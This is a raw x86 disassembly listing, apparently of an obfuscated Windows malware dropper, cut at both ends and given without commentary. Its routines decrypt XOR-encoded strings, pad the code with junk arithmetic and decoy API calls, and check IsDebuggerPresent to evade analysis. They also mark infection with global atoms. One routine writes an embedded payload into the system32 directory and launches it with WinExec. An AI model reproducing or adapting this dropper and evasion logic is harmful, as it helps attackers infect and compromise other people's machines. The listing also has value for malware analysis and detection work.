		jz	short loc_403112


loc_403108:				; CODE XREF: sub_403010+D0j
					; sub_403010+DAj ...
		call	sub_40C7D0	; GetVersion
		dec	dword ptr [ebp-4]
		jmp	short loc_4030D7
; ---------------------------------------------------------------------------


loc_403112:				; CODE XREF: sub_403010+F6j
		movzx	edi, byte ptr [ebp-217Ch]
		shl	edi, 2
		mov	esi, [ebp-4]
		mov	[ebp+edi-2580h], esi
		add	byte ptr [ebp-217Ch], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_403169
		mov	word ptr [ebp-258Ah], 7AC6h
		add	word ptr [ebp-258Ah], 2581h
		mov	eax, esi
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		call	sub_40C734	; GetCurrentProcessId
		jmp	loc_4030C7
; ---------------------------------------------------------------------------


loc_403169:				; CODE XREF: sub_403010+125j
		mov	ebx, [ebp-4]
		jmp	short loc_4031A0
; ---------------------------------------------------------------------------


loc_40316E:				; CODE XREF: sub_403010+196j
		mov	word ptr [ebp-258Ah], 135Dh
		movzx	eax, word ptr [ebp-258Ah]
		imul	eax, 5BAAh
		mov	[ebp-258Ah], ax
		mov	eax, [ebp-1014h]
		add	eax, ebx
		sub	eax, [ebp-4]
		mov	dl, [ebx]
		mov	[eax], dl
		call	sub_40C734	; GetCurrentProcessId
		inc	ebx


loc_4031A0:				; CODE XREF: sub_403010+15Cj
		cmp	ebx, [ebp-2024h]
		jb	short loc_40316E


loc_4031A8:				; CODE XREF: sub_403010+208j
		sub	byte ptr [ebp-217Ch], 1
		movzx	edi, byte ptr [ebp-217Ch]
		shl	edi, 2
		mov	ebx, [ebp+edi-2580h]


loc_4031C0:				; CODE XREF: sub_403010+1FDj
		mov	byte ptr [ebx],	0
		call	sub_40C7C4	; GetTickCount
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_40320F


loc_4031FA:				; CODE XREF: sub_403010+1C0j
					; sub_403010+1CAj ...
		mov	word ptr [ebp-2182h], 7E10h
		add	word ptr [ebp-2182h], 504Ch
		inc	ebx
		jmp	short loc_4031C0
; ---------------------------------------------------------------------------


loc_40320F:				; CODE XREF: sub_403010+1E8j
		movzx	eax, byte ptr [ebp-217Ch]
		or	eax, eax
		jg	short loc_4031A8
		cmp	byte ptr [ebp+8], 1
		jz	short loc_403269
		lea	edi, [ebp-2583h]
		lea	esi, aZ_0	; " Z"
		mov	ecx, 3
		rep movsb


loc_403233:				; CODE XREF: sub_403010+3Aj
					; sub_403010+70j
		movzx	eax, byte ptr [ebp-1015h]
		push	eax
		push	dword ptr [ebp-202Ch]
		push	dword ptr [ebp-2034h]
		call	sub_402843
		add	esp, 0Ch
		mov	byte ptr [ebp-2051h], 0C0h
		movzx	eax, byte ptr [ebp-2051h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-2051h], al


loc_403269:				; CODE XREF: sub_403010+1Cj
					; sub_403010+6Aj ...
		cmp	byte ptr [ebp-2025h], 0
		jz	short loc_4032B9
		call	sub_40C764	; RtlGetLastWin32Error
		and	dword ptr [ebp-1014h], 0


loc_40327E:				; CODE XREF: sub_403010+29Dj
		mov	edi, [ebp-1014h]
		shl	edi, 2
		mov	esi, [ebp-8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp-0Ch]
		mov	edx, [ebp+edi-2020h]
		mov	[esi+edi], edx
		inc	dword ptr [ebp-1014h]
		cmp	dword ptr [ebp-1014h], 400h
		jb	short loc_40327E
		call	sub_40C7D0	; GetVersion
		jmp	loc_402CB4
; ---------------------------------------------------------------------------


loc_4032B9:				; CODE XREF: sub_402A48+122j
					; sub_402A48+351j ...
		add	byte ptr [ebp-1015h], 1
		movzx	edi, byte ptr [ebp-1015h]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402B58
		call	sub_40C740	; GetCurrentThreadId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E2	proc near		; CODE XREF: sub_40341E+37p
					; sub_40349A+44p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D140
		lea	eax, ds:41D8B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403322
; ---------------------------------------------------------------------------


loc_403308:				; CODE XREF: sub_4032E2+42j
		mov	eax, dword_43D140
		add	eax, edi
		lea	eax, ds:41D8B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0AFh
		mov	[eax], dl
		inc	edi


loc_403322:				; CODE XREF: sub_4032E2+24j
		cmp	edi, esi
		jl	short loc_403308
		mov	eax, dword_43D140
		add	eax, esi
		mov	byte ptr ds:dword_41D8B0[eax], 0
		mov	edi, dword_43D140
		add	dword_43D140, 3
		mov	eax, dword_43D140
		add	eax, 5
		add	eax, esi
		mov	dword_43D140, eax
		cmp	eax, 0DC9h
		jle	short loc_40335F
		and	dword_43D140, 0


loc_40335F:				; CODE XREF: sub_4032E2+74j
		mov	[ebp+var_4], 116h
		lea	eax, dword_41D8B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4032E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403370	proc near		; CODE XREF: sub_40341E+19p
					; sub_40349A+33p

var_F		= byte ptr -0Fh
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C7D0	; GetVersion
		call	sub_40C7C4	; GetTickCount
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_40338B:				; CODE XREF: sub_403370+20j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40338B
		mov	edi, eax
		mov	[ebp+var_6], di
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4033C6
; ---------------------------------------------------------------------------


loc_4033A2:				; CODE XREF: sub_403370+5Cj
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4033C2
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_2]
		lea	edi, [ebp+var_F]
		lea	esi, aObxzqn@	; "oxzqn@"
		movsd
		movsd
		jmp	short loc_4033CE
; ---------------------------------------------------------------------------


loc_4033C2:				; CODE XREF: sub_403370+3Aj
		dec	[ebp+var_2]


loc_4033C6:				; CODE XREF: sub_403370+30j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4033A2


loc_4033CE:				; CODE XREF: sub_403370+50j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_40340B
		mov	[ebp+var_4], 0
		jmp	short loc_4033F9
; ---------------------------------------------------------------------------


loc_4033E0:				; CODE XREF: sub_403370+99j
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]


loc_4033F9:				; CODE XREF: sub_403370+6Ej
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_4033E0


loc_40340B:				; CODE XREF: sub_403370+66j
		lea	edi, [ebp+var_7]
		lea	esi, byte_43D14C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40341E	proc near		; CODE XREF: sub_403A5F+7Dp
					; sub_403BE7+24Ep ...

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_106		= byte ptr -106h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_106]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		mov	[ebp+var_108], 1417h
		add	[ebp+var_108], 7A22h
		push	2
		push	offset word_44758A
		call	sub_4032E2
		push	eax
		lea	edi, [ebp+var_106]
		push	edi
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_2], 4444h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		lea	eax, [ebp+var_106]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	ax, word_43D14D
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_40341E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40349A	proc near		; CODE XREF: sub_4098A8+2D8p
					; sub_4098A8+388p ...

var_112		= byte ptr -112h
var_10C		= dword	ptr -10Ch
var_108		= word ptr -108h
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43D14F
		mov	[ebp+var_108], ax
		mov	eax, dword_43D151
		mov	[ebp+var_10C], eax
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		call	sub_40C7C4	; GetTickCount
		push	2
		push	offset word_44758A
		call	sub_4032E2
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 18h
		call	sub_40C764	; RtlGetLastWin32Error


loc_4034F8:				; CODE XREF: sub_40349A+AEj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C818	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_106], di
		lea	edi, [ebp+var_112]
		lea	esi, aJ95e	; " J95E"
		mov	ecx, 3
		rep movsw
		cmp	[ebp+var_106], 0
		jz	short loc_40354A
		mov	ebx, 4056h
		add	ebx, 1CB6h
		movzx	eax, [ebp+var_106]
		push	eax
		call	sub_40C80C	; GlobalDeleteAtom
		call	sub_40C794	; GetProcessHeap
		jmp	short loc_4034F8
; ---------------------------------------------------------------------------


loc_40354A:				; CODE XREF: sub_40349A+8Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40349A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40354F	proc near		; CODE XREF: sub_4035DB+A0p
					; sub_4036BC+34p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 1EAh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D164
		lea	eax, ds:40E180h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403597
; ---------------------------------------------------------------------------


loc_40357D:				; CODE XREF: sub_40354F+4Aj
		mov	eax, dword_43D164
		add	eax, edi
		lea	eax, ds:40E180h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi


loc_403597:				; CODE XREF: sub_40354F+2Cj
		cmp	edi, esi
		jl	short loc_40357D
		mov	[ebp+var_8], 278h
		mov	eax, dword_43D164
		add	eax, esi
		mov	byte ptr ds:dword_40E180[eax], 0
		mov	edi, dword_43D164
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43D164, eax
		cmp	eax, 0DCEh
		jle	short loc_4035D1
		and	dword_43D164, 0


loc_4035D1:				; CODE XREF: sub_40354F+79j
		lea	eax, dword_40E180[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40354F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035DB	proc near		; CODE XREF: sub_4036BC+41p

var_3F		= byte ptr -3Fh
var_38		= byte ptr -38h
var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		lea	edi, [ebp+var_38]
		lea	esi, byte_43D168
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_3F]
		lea	esi, byte_43D16B
		mov	ecx, 7
		rep movsb
		call	sub_40C7D0	; GetVersion
		mov	eax, dword_43D15C
		inc	eax
		push	eax
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_40CBC0
		add	esp, 0Ch
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_40362D:				; CODE XREF: sub_4035DB+57j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40362D
		mov	edx, eax
		mov	[ebp+var_2], dl
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_1], 0
		jmp	short loc_40365A
; ---------------------------------------------------------------------------


loc_403644:				; CODE XREF: sub_4035DB+89j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[ebx+edx], al
		add	[ebp+var_1], 1


loc_40365A:				; CODE XREF: sub_4035DB+67j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_403644
		movzx	eax, [ebp+var_2]
		mov	byte ptr [ebx+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_40368E
; ---------------------------------------------------------------------------


loc_403674:				; CODE XREF: sub_4035DB+C4j
		push	1
		push	offset byte_447588
		call	sub_40354F
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		add	[ebp+var_3], 1


loc_40368E:				; CODE XREF: sub_4035DB+97j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_403674
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+arg_8]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		call	sub_40C7C4	; GetTickCount
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036BC	proc near		; CODE XREF: sub_40AA24+694p

var_3C		= byte ptr -3Ch
var_36		= byte ptr -36h
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, 65DBh
		sub	ebx, 2975h
		lea	edi, [ebp+var_3C]
		lea	esi, aDmc9	; "!dmC9"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_1], 1Bh
		sub	[ebp+var_1], 0FBh
		push	1
		push	offset word_447586
		call	sub_40354F
		push	eax
		lea	edi, [ebp+var_36]
		push	edi
		push	[ebp+arg_0]
		call	sub_4035DB
		add	esp, 14h
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		lea	eax, [ebp+var_36]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	ebx, 858h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40372A	proc near		; CODE XREF: sub_4037CA+37p
					; .text:0040389Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D180
		lea	eax, ds:40F6E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403768
; ---------------------------------------------------------------------------


loc_403751:				; CODE XREF: sub_40372A+40j
		mov	eax, dword_43D180
		add	eax, edi
		lea	eax, ds:40F6E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi


loc_403768:				; CODE XREF: sub_40372A+25j
		cmp	edi, esi
		jl	short loc_403751
		mov	[ebp+var_4], 2E3h
		mov	eax, dword_43D180
		add	eax, esi
		mov	byte ptr ds:dword_40F6E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D180
		inc	dword_43D180
		mov	eax, dword_43D180
		add	eax, 5
		add	eax, esi
		mov	dword_43D180, eax
		add	dword_43D180, 2
		cmp	dword_43D180, 0DF6h
		jle	short loc_4037B9
		and	dword_43D180, 0


loc_4037B9:				; CODE XREF: sub_40372A+86j
		mov	[ebp+var_8], 1Ch
		lea	eax, dword_40F6E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40372A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037CA	proc near		; CODE XREF: sub_40AA24+728p
					; sub_40AA24+74Fp

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	[ebp+var_106], 56C6h
		sub	[ebp+var_106], 2AE0h
		call	sub_40C7C4	; GetTickCount
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC50
		push	1
		push	offset byte_447584
		call	sub_40372A
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_108], 14CDh
		sub	[ebp+var_108], 24h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC74
		add	esp, 20h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	[ebp+var_10A], 31AAh
		movzx	eax, [ebp+var_10A]
		imul	eax, 32E4h
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_4037CA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	esi
		push	edi
		lea	edi, [ebp-10Dh]
		lea	esi, a9b7	; ":9b 7-"
		mov	ecx, 7
		rep movsb
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		push	1
		push	offset byte_447584
		call	sub_40372A
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	sub_40CC74
		call	sub_40C764	; RtlGetLastWin32Error
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CC74
		add	esp, 20h


loc_4038C4:				; CODE XREF: .text:00403908j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C818	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		cmp	word ptr [ebp-106h], 0
		jz	short loc_40390A
		lea	edi, [ebp-110h]
		lea	esi, aUa	; "U€"
		mov	ecx, 3
		rep movsb
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	sub_40C80C	; GlobalDeleteAtom
		call	sub_40C7C4	; GetTickCount
		jmp	short loc_4038C4
; ---------------------------------------------------------------------------


loc_40390A:				; CODE XREF: .text:004038E1j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40390E	proc near		; CODE XREF: sub_40399B+82p
					; sub_403A5F+58p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 200h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D198
		lea	eax, ds:41E9E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 100h
		xor	edi, edi
		jmp	short loc_40395D
; ---------------------------------------------------------------------------


loc_403943:				; CODE XREF: sub_40390E+51j
		mov	eax, dword_43D198
		add	eax, edi
		lea	eax, ds:41E9E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_40395D:				; CODE XREF: sub_40390E+33j
		cmp	edi, esi
		jl	short loc_403943
		mov	eax, dword_43D198
		add	eax, esi
		mov	byte ptr ds:dword_41E9E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D198
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_43D198, eax
		cmp	eax, 0DCCh
		jle	short loc_403991
		and	dword_43D198, 0


loc_403991:				; CODE XREF: sub_40390E+7Aj
		lea	eax, dword_41E9E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40390E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399B	proc near		; CODE XREF: sub_403A5F+34p
					; sub_403BE7+139p ...

var_100B	= byte ptr -100Bh
var_1008	= dword	ptr -1008h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebp+var_100B]
		lea	esi, word_4421BE
		mov	ecx, 3
		rep movsb
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C7E8	; GetVolumeInformationA
		call	sub_40C740	; GetCurrentThreadId
		push	4
		push	offset byte_44757F
		call	sub_40390E
		push	[ebp+var_1008]
		push	eax
		push	ebx
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_4], 0


loc_403A3B:				; CODE XREF: sub_40399B+BDj
		mov	eax, [ebp+var_4]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403A51
		cmp	al, 30h
		jle	short loc_403A51
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	byte ptr [eax],	11h


loc_403A51:				; CODE XREF: sub_40399B+A8j
					; sub_40399B+ACj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_403A3B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40399B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A5F	proc near		; CODE XREF: sub_40AA24+7D2p

var_28F		= byte ptr -28Fh
var_28A		= byte ptr -28Ah
var_284		= byte ptr -284h
var_27D		= dword	ptr -27Dh
var_279		= byte ptr -279h
var_273		= byte ptr -273h
var_26C		= byte ptr -26Ch
var_26B		= byte ptr -26Bh
var_167		= byte ptr -167h
var_103		= byte ptr -103h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	ebx
		push	esi
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_26C]
		lea	esi, byte_4421C1
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	ebx, 1763h
		add	ebx, 25D9h
		lea	eax, [ebp+var_167]
		push	eax
		call	sub_40399B
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_273]
		lea	esi, aI?	; "`i/=?<"
		mov	ecx, 7
		rep movsb
		push	9
		push	offset byte_447575
		call	sub_40390E
		lea	edi, [ebp+var_167]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40341E
		lea	edi, [ebp+var_279]
		lea	esi, aGas6l	; "G€S6l"
		mov	ecx, 3
		rep movsw
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		mov	eax, dword_4421CF
		mov	[ebp+var_27D], eax
		push	0
		lea	eax, [ebp+var_284]
		push	eax
		push	3621h
		push	offset byte_43EB9D
		push	ebx
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_28A]
		lea	esi, aMt@6	; "mt@~6"
		mov	ecx, 3
		rep movsw
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_28F]
		lea	esi, aWGz	; "w-gz"
		mov	ecx, 5
		rep movsb
		push	104h
		lea	eax, [ebp+var_26B]
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		mov	[ebp+var_102], 0C80h
		sub	[ebp+var_102], 4F02h
		push	1
		push	offset byte_447573
		call	sub_40390E
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_103], 94h
		add	[ebp+var_103], 1
		lea	eax, [ebp+var_26B]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40CC74
		add	esp, 38h
		call	sub_40C734	; GetCurrentProcessId
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C938	; WinExec
		call	sub_40C734	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BE7	proc near		; CODE XREF: sub_40AA24+35Fp

var_312		= word ptr -312h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_2E9		= dword	ptr -2E9h
var_2E5		= byte ptr -2E5h
var_2DF		= dword	ptr -2DFh
var_2DB		= byte ptr -2DBh
var_2D6		= word ptr -2D6h
var_2D4		= byte ptr -2D4h
var_2CD		= byte ptr -2CDh
var_269		= byte ptr -269h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_2D4]
		lea	esi, aBdvq	; "!dvq#"
		mov	ecx, 7
		rep movsb
		call	sub_40C794	; GetProcessHeap
		push	26h
		push	offset dword_44754C
		call	sub_40390E
		mov	[ebp+var_2F4], eax
		call	sub_40CC38
		mov	[ebp+var_2F8], eax
		call	sub_40CC38
		mov	[ebp+var_2FC], eax
		call	sub_40CC38
		mov	[ebp+var_300], eax
		call	sub_40CC38
		mov	[ebp+var_304], eax
		call	sub_40CC38
		mov	[ebp+var_308], eax
		call	sub_40CC38
		mov	[ebp+var_30C], eax
		call	sub_40CC38
		mov	[ebp+var_310], eax
		call	sub_40CC38
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_300]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2FC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F8]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F4]
		push	edi
		lea	edi, [ebp+var_269]
		push	edi
		call	sub_40CC50
		call	sub_40C7C4	; GetTickCount
		mov	ax, word_4421E5
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_2CD]
